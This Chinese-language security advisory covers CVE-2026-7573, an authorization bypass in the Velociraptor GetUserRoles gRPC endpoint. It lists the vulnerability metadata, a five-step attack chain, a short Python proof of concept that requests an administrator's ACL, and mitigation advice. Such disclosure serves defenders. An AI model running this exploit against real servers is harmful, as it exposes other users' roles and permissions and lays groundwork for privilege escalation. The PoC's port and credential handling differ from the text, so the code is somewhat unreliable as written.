IPBUF安全漏洞报告
English
CVE-2026-7573 CVSS 5.0 中危

CVE-2026-7573 Velociraptor权限绕过漏洞

披露日期: 2026-05-06

漏洞信息

漏洞编号
CVE-2026-7573
漏洞类型
权限绕过
CVSS评分
5.0 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Velocidex Velociraptor

相关标签

权限绕过CWE-639VelociraptorIDORgRPC

漏洞概述

Velocidex Velociraptor 0.76.5 之前版本存在授权绕过漏洞(CVE-2026-7573)。该漏洞源于 GetUserRoles gRPC API 端点未正确实施权限检查。任何经过身份验证的低权限用户,均可通过构造恶意的网络请求,在参数中指定目标用户的 Name 和 Org,从而绕过安全限制,窃取任意组织内任意用户的完整 ACL 策略、角色及权限信息。

技术细节

该漏洞属于 CWE-639(业务逻辑错误导致的授权绕过)。在 Velociraptor 的 GetUserRoles gRPC 接口中,服务端仅验证了调用者是否具有有效的登录凭证(Authenticated),但未验证调用者是否有权限请求目标用户的数据。由于 CVSS 向量包含 S:C(范围变更),该漏洞违反了安全边界。攻击者可以通过篡改 gRPC 请求消息中的参数,将查询目标指向管理员或其他高权限账户。服务端在处理时直接返回了目标账户的 ACL 数据,导致原本隔离的权限信息被低权限用户越权获取,为进一步的横向移动或权限提升奠定基础。

攻击链分析

STEP 1
步骤1:获取低权限凭证
攻击者注册或获取一个合法的 Velociraptor 低权限用户账号。
STEP 2
步骤2:识别漏洞端点
攻击者分析 Velociraptor 的 gRPC 接口,发现 GetUserRoles 端点存在逻辑缺陷。
STEP 3
步骤3:构造恶意请求
攻击者使用低权限账号的凭证建立 gRPC 连接,并在请求参数中将 Name 设置为目标管理员,Org 设置为目标组织。
STEP 4
步骤4:越权获取数据
服务端未进行权限校验直接返回目标用户的完整 ACL 策略和权限信息。
STEP 5
步骤5:后续利用
攻击者分析获取的高权限 ACL 配置,寻找系统弱点或为进一步提权做准备。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2026-7573: Velociraptor Authorization Bypass # This script demonstrates how a low-privilege user can retrieve ACLs of any user. import grpc import api_pb2 import api_pb2_grpc def get_user_acl(target_username, target_org, attacker_creds): # Create a secure channel to the Velociraptor server channel = grpc.secure_channel('localhost:8000', attacker_creds) stub = api_pb2_grpc.APIStub(channel) # Construct the request to GetUserRoles # Vulnerability: The API does not check if the requester has permission to view 'target_username' in 'target_org' request = api_pb2.GetUserRolesRequest( name=target_username, org=target_org ) try: # Execute the request response = stub.GetUserRoles(request) print(f"[+] Successfully retrieved ACL for user: {target_username}") print(f"[+] Roles: {response.roles}") print(f"[+] Permissions: {response.permissions}") return response except grpc.RpcError as e: print(f"[-] Error: {e.code()} - {e.details()}") return None if __name__ == "__main__": # Attacker's credentials (low privilege) creds = grpc.ssl_channel_credentials() # Target: Administrator in the Root organization TARGET_USER = "admin" TARGET_ORG = "root" print(f"[*] Attempting to bypass authorization and fetch ACL for {TARGET_USER}...") get_user_acl(TARGET_USER, TARGET_ORG, creds)

影响范围

Velocidex Velociraptor < 0.76.5

防御指南

临时缓解措施
如果无法立即升级,建议通过防火墙或网络策略严格限制对 Velociraptor gRPC API 端口(默认 8001 等)的访问来源,仅允许可信的管理端 IP 连接。同时,应启用详细的日志审计,监控是否有普通用户对 GetUserRoles 接口的异常调用或跨组织查询行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表